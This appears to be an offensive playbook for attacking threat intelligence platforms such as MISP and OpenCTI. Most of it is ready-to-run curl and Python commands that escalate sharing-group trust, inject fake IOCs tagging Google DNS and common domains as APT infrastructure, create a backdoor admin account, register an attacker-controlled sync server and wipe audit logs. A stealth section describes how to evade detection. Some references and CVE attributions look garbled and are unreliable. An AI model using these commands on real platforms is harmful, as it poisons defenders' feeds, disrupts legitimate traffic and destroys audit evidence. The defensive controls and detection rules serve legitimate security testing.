Threat Intel Platform Attack

Threat Intel Platform Attack

Summary

Threat intelligence platforms (MISP, OpenCTI, Anomali, ThreatQuotient, ThreatConnect, IBM Threat Intel, Palo Alto AutoFocus, Mandiant Advantage) are high-value targets: they aggregate IOCs, adversary TTPs, sharing-group trust relationships, and often feed defensive products (firewalls, SIEMs, EDRs). This domain covers offensive testing of TI platforms: platform-specific CVEs (MISP CVE-2022-29527, OpenCTI GraphQL injection), API abuse (write access to IOC databases), sharing-group trust abuse (escalating trust levels, claiming false attribution), false-positive IOC injection (poisoning feeds to disrupt defensive operations), STIX/TAXII feed manipulation, and supply-chain attacks via poisoned TI feeds. Includes operator playbooks for TI platform security validation, IOC sharing abuse simulation, and APT feed-poisoning emulation.

Key Terms

• TI platform — Threat Intelligence platform (MISP, OpenCTI, Anomali, etc.)
• IOC — Indicator of Compromise (IP, domain, hash, URL, cert)
• TTP — Tactics, Techniques, Procedures (MITRE ATT&CK mapping)
• STIX — Structured Threat Information eXpression (JSON format for TI)
• TAXII — Trusted Automated Exchange of Indicator Information (transport for STIX)
• MISP — Malware Information Sharing Platform (open source)
• OpenCTI — Open-source TI platform (GraphQL-based)
• Sharing group — Trust circle in MISP / OpenCTI (sharing rules)
• TLP — Traffic Light Protocol (RED, AMBER, GREEN, WHITE) for sharing scope
• Feed poisoning — Injecting false IOCs to mislead defenders
• Confidence score — TI platform quality rating (0–100)
• False positive — Legitimate activity misclassified as malicious
• Trust escalation — Attacker gaining higher sharing-group access

Scope

This skill covers offensive testing of TI platforms:

• Platform-specific CVE exploitation (MISP, OpenCTI, Anomali)
• API abuse (write access, privilege escalation)
• STIX/TAXII feed manipulation
• Sharing-group trust abuse
• False-positive IOC injection
• Supply-chain attacks via poisoned TI feeds
• APT feed-poisoning emulation (mimicking NOBELIUM, APT29 techniques)

Out of scope: TI platform deployment (defensive), TI analysis (defensive), attribution analysis (academic).

Use Cases

• TI platform pentest: Identify CVEs, API abuse paths, trust model gaps
• Sharing-group audit: Validate sharing-group trust model + escalation paths
• Feed-poisoning simulation: Mimic APT feed-poisoning to test detection
• API security testing: TI platform APIs are often over-permissioned
• STIX/TAXII manipulation: Inject malicious STIX bundles via TAXII feed
• IOC database abuse: Test write access for false-positive injection
• Trust model audit: Validate TLP sharing scope enforcement
• Supply-chain simulation: Test if poisoned TI feed can pivot to downstream defenders
• APT feed-poisoning emulation: Mimic NOBELIUM / APT29 TI feed-poisoning
• Detection gap analysis: Identify gaps in TI platform monitoring

Core Tools

Methodology

Phase 1 — Recon

Map the TI platform's external surface:

# Identify MISP instance
curl -sI https://misp.example.com/ | head -5
curl -s https://misp.example.com/servers/checkVersion | jq .

# Identify OpenCTI instance
curl -s https://opencti.example.com/graphql -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ settings { id } }"}'

# Identify Anomali ThreatStream
curl -sI https://ui.threatstream.com/

# Check exposed headers
curl -sI https://misp.example.com/ | grep -iE "server:|x-powered-by:|set-cookie:"

Phase 2 — CVE scanning

# Nuclei templates for TI platforms
nuclei -u https://misp.example.com/ -t exposures/configs/misp-config.yaml
nuclei -u https://opencti.example.com/ -t cves/2022/CVE-2022-29527.yaml

# MISP version check
curl -s https://misp.example.com/servers/checkVersion | jq -r '.version'

# OpenCTI version check
curl -s https://opencti.example.com/graphql \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ appInformation { version } }"}'

Phase 3 — API security testing

# Test MISP API
curl -s https://misp.example.com/events/index \
  -H "Authorization: $API_KEY" \
  -H "Accept: application/json" | jq .

# Test OpenCTI GraphQL
curl -s https://opencti.example.com/graphql \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ events { edges { node { id name } } } }"}' | jq .

# Test for over-permissioned tokens
# (read-only token trying write operations)
curl -s -X POST https://opencti.example.com/graphql \
  -H "Authorization: Bearer $READ_ONLY_TOKEN" \
  -d '{"query":"mutation { reportCreate(input: {name: \"test\"}) { id } }"}'

Phase 4 — STIX/TAXII feed manipulation

# Subscribe to TAXII feed
python3 << EOF
from taxii2client.v20 import Collection
collection = Collection("https://example.com/taxii/collections/123/", user="user", password="pass")
objects = collection.get_objects()
print(len(objects["objects"]))
EOF

# Inject malicious STIX bundle
python3 << EOF
from stix2 import Indicator, Bundle, MemoryStore
indicator = Indicator(
    pattern="[ipv4-addr:value = '8.8.8.8']",  # legitimate-looking target
    pattern_type="stix",
    labels=["malicious-activity"],
    description="False positive injection",
    confidence=95
)
bundle = Bundle(objects=[indicator])
print(bundle.serialize(pretty=True))
EOF

Phase 5 — Sharing-group trust abuse

# Enumerate sharing groups
curl -s https://misp.example.com/sharingGroups/index \
  -H "Authorization: $API_KEY" | jq '.[].SharingGroup'

# Attempt trust escalation (add self to higher-trust group)
curl -s -X POST https://misp.example.com/sharingGroups/addOrg/$GROUP_ID \
  -H "Authorization: $API_KEY" \
  -d "org_id=$MY_ORG&extend=1"

# Test TLP enforcement
curl -s -X POST https://misp.example.com/events/add \
  -H "Authorization: $LOW_TRUST_KEY" \
  -d "distribution=4&sharing_group_id=$RESTRICTED_GROUP"  # should fail

Phase 6 — False-positive IOC injection

# Inject legitimate infrastructure as malicious IOC
python3 << EOF
import requests
headers = {"Authorization": API_KEY}
# Mark Google DNS as malicious
data = {
    "category": "Network activity",
    "type": "ip-dst",
    "value": "8.8.8.8",
    "comment": "Suspected APT29 infra",
    "to_ids": True,
    "distribution": 0  # all communities
}
r = requests.post("https://misp.example.com/attributes/add/EVENT_ID",
                   headers=headers, json=data)
print(r.json())
EOF

Phase 7 — Supply-chain pivot

# Identify downstream consumers
curl -s https://misp.example.com/servers/index \
  -H "Authorization: $API_KEY" | jq '.[].Server.url'

# If feed consumer (firewall, SIEM, EDR) trusts the TI feed,
# false-positive IOCs will block legitimate traffic

Phase 8 — Persistence

# Backdoor account creation
curl -s -X POST https://misp.example.com/admin/users/add \
  -H "Authorization: $ADMIN_KEY" \
  -d "email=backdoor@attacker.com&role_id=4&password=..."

# C2 server registration (MISP sync)
curl -s -X POST https://misp.example.com/servers/add \
  -H "Authorization: $ADMIN_KEY" \
  -d "url=https://attacker-misp.example.com&authkey=..."

Phase 9 — Cleanup

# Remove backdoor
curl -s -X POST https://misp.example.com/users/delete/$BACKDOOR_ID \
  -H "Authorization: $ADMIN_KEY"

# Wipe audit logs
curl -s -X POST https://misp.example.com/admin/logs/deleteAll \
  -H "Authorization: $ADMIN_KEY"

Phase 10 — Reporting

Produce TI platform security report:

• CVEs exploited
• API abuse paths
• Trust model gaps
• False-positive injection paths
• Recommendations

Practical Steps

Step 1 — MISP recon

# Version check
curl -s https://misp.example.com/servers/checkVersion | jq .

# Public endpoints
curl -s https://misp.example.com/events/hids/e967da72-1dad-41ae-89b3-ee3d0c4b4e45

# Galaxies / Taxonomies available
curl -s https://misp.example.com/galaxies.json | jq '.[].name'

Step 2 — MISP API testing

# List events
curl -s https://misp.example.com/events/index \
  -H "Authorization: $API_KEY" \
  -H "Accept: application/json" | jq '.[0].Event.info'

# Search attributes
curl -s -X POST https://misp.example.com/attributes/restSearch \
  -H "Authorization: $API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"value":"%example.com%","type":"domain"}' | jq .

Step 3 — OpenCTI GraphQL testing

# Test introspection
curl -s https://opencti.example.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name } } }"}' | jq .

# Test for IDOR (iterate IDs)
for id in $(seq 1 100); do
  curl -s https://opencti.example.com/graphql \
    -H "Authorization: Bearer $TOKEN" \
    -d "{\"query\":\"{ report(id: \\\"$id\\\") { name } }\"}" | jq -r '.data.report.name' 2>/dev/null
done

Step 4 — STIX/TAXII testing

# Discover collections
python3 << EOF
from taxii2client.v20 import Server
server = Server("https://example.com/taxii/", user="user", password="pass")
for api_root in server.api_roots:
    print(api_root.title)
    for collection in api_root.collections:
        print(f"  {collection.title}")
EOF

Step 5 — False-positive IOC injection

python3 << EOF
import requests

API_URL = "https://misp.example.com/attributes/add/EVENT_ID"
HEADERS = {"Authorization": "REPLACE_WITH_YOUR_KEY", "Accept": "application/json"}

# Inject 100 legitimate domains as malicious
legit_domains = ["google.com", "amazonaws.com", "cloudfront.net", "githubusercontent.com"]
for d in legit_domains:
    data = {
        "category": "Network activity",
        "type": "domain",
        "value": d,
        "comment": "Suspected APT C2",
        "to_ids": True,
        "distribution": 0
    }
    r = requests.post(API_URL, headers=HEADERS, json=data)
    print(f"{d}: {r.json().get('errors', 'OK')}")
EOF

Defense Perspective

Defenders must assume:

1. TI platforms aggregate high-value data — one compromise exposes all feeds
2. API keys are over-permissioned — most users have read+write when read suffices
3. Sharing-group trust can be abused — escalate via social engineering or compromised creds
4. STIX/TAXII feeds can be poisoned — false-positive IOCs cause defensive disruption
5. TLP enforcement is often weak — TLP:AMBER+ shared more broadly than intended
6. Audit logs are revocable — admins can wipe their own tracks
7. Sync servers expose keys — sync config contains remote API key
8. TI platforms are dual-use — defender tool, but also adversary intelligence

Key defensive controls:

• RBAC + least privilege on all API keys
• Audit log immutability (external sink)
• TLP enforcement via policy engine
• STIX feed signing (cryptographic)
• Sharing-group review (quarterly audit)
• Anomaly detection on IOC writes
• Geo-fencing on admin endpoints
• MFA on all admin accounts

Platform Vulnerability Cheat Sheet

Engagement Workflow

1. Scope — confirm target TI platform, allowed CVEs, allowed techniques
2. Recon — version check, exposed endpoints, sharing-group enumeration
3. CVE testing — Nuclei scan, manual exploitation
4. API testing — token audit, permission testing, GraphQL injection
5. Feed testing — STIX/TAXII manipulation, false-positive injection
6. Trust abuse — sharing-group escalation, TLP enforcement
7. Reporting — vulnerabilities, abuse paths, recommendations

Lab Setup

# MISP Docker
docker run -d -p 443:443 -p 80:80 -e HOSTNAME=https://localhost \
  -e MYSQL_ROOT_PASSWORD=misp \
  harvarditsecurity/misp-docker

# OpenCTI Docker
git clone https://github.com/OpenCTI-Platform/opencti
cd opencti
docker compose up -d

# Anomali ThreatStream community edition
# ThreatQuotient — request trial

Quality Checklist

• All exposed endpoints enumerated
• CVE scan complete
• API permission audit
• STIX/TAXII feed manipulation tested
• Sharing-group trust model validated
• False-positive IOC injection tested
• TLP enforcement audited
• Audit log immutability tested
• Final report delivered
• SOC handoff (detection rules)

Detection Methods

TIP Audit

• Indicator injection: Anomalous IOC patterns; bulk IOCs from untrusted source.
• Feed anomalies: New feed with anomalous pattern; degraded feed quality.
• Confidentiality breach: TIP data exfiltration; sensitive indicators leaked.

SIEM Detection Rules

• Splunk SPL: index=tip | stats count by source_feed | where count > 1000
• Recorded Future / Anomali / MISP: Native TIP audit logging.

Defense Evasion Techniques

TIP Compromise Stealth

• Use legitimate feed credentials: Don't create new account; use existing service account.
• Off-hours access: TIP activity often low at night; blend with maintenance.
• Mimic legitimate analyst: Use natural-looking analyst workflows.

Indicator Injection Stealth

• Slow injection: Add IOCs slowly over time; below distribution shift threshold.
• Match existing IOC format: Use same IOC format as legitimate feed; reduces anomaly.
• Trigger-based activation: Malicious IOC activates only when specific target queried.

References

• MITRE ATT&CK Initial Access — https://attack.mitre.org/tactics/TA0001/
• MISP documentation — https://www.misp-project.org/
• OpenCTI documentation — https://docs.opencti.io/
• MISP GitHub — https://github.com/MISP/MISP
• OpenCTI GitHub — https://github.com/OpenCTI-Platform/opencti
• STIX 2.1 specification — https://docs.oasis-open.org/cti/stix/v2.1/stix-v2.1-part1-stix-common.html
• TAXII 2.1 specification — https://docs.oasis-open.org/cti/taxii/v2.1/taxii-v2.1-part0-overview.html
• CISA AA21-148A — DarkSide (TI feed abuse patterns)
• "Threat Intel Platform Security" (SANS 2023)
• BlackHat USA 2023 — "TI Platform Vulnerabilities"
• MISP advisory CVE-2022-29527, CVE-2022-29528
• OpenCTI security advisories

Platform Quick Reference

Attack Surface Map

MITRE ATT&CK Mapping

Threat Actor Profiles

Lab Setup

# MISP Docker
docker run -d -p 443:443 -p 80:80 \
  -e HOSTNAME=https://localhost \
  -e MYSQL_ROOT_PASSWORD=misp \
  harvarditsecurity/misp-docker

# OpenCTI Docker
git clone https://github.com/OpenCTI-Platform/opencti
cd opencti && docker compose up -d

# STIX tools
pip install stix2 taxii2-client

Engagement Workflow

1. Scope — confirm target TI platform, allowed CVEs, allowed techniques
2. Recon — version check, exposed endpoints, sharing-group enumeration
3. CVE testing — Nuclei scan, manual exploitation
4. API testing — token audit, permission testing, GraphQL injection
5. Feed testing — STIX/TAXII manipulation, false-positive injection
6. Trust abuse — sharing-group escalation, TLP enforcement
7. Reporting — vulnerabilities, abuse paths, recommendations

Compliance Context

• CIRCIA (2024) — covered entities must report TI platform breaches
• SEC 10-12B (2024) — material breach 4-day disclosure
• GDPR Article 33 — 72-hour breach notification
• NYDFS 500.17 — covered entity TI platform in scope
• PCI DSS 12.10 — TI platform as part of incident response
• HIPAA Security Rule — TI platforms processing PHI
• ISO 27001 A.16 — incident management includes TI platforms
• SOC 2 CC7.3 — security event detection covers TI platforms

Quality Checklist

• All exposed endpoints enumerated
• CVE scan complete (Nuclei + manual)
• API permission audit (token scopes)
• STIX/TAXII feed manipulation tested
• Sharing-group trust model validated
• False-positive IOC injection tested
• TLP enforcement audited
• Audit log immutability tested
• Sync server abuse paths documented
• Cleanup performed (backdoor removed)
• Final report delivered
• SOC handoff (detection rules)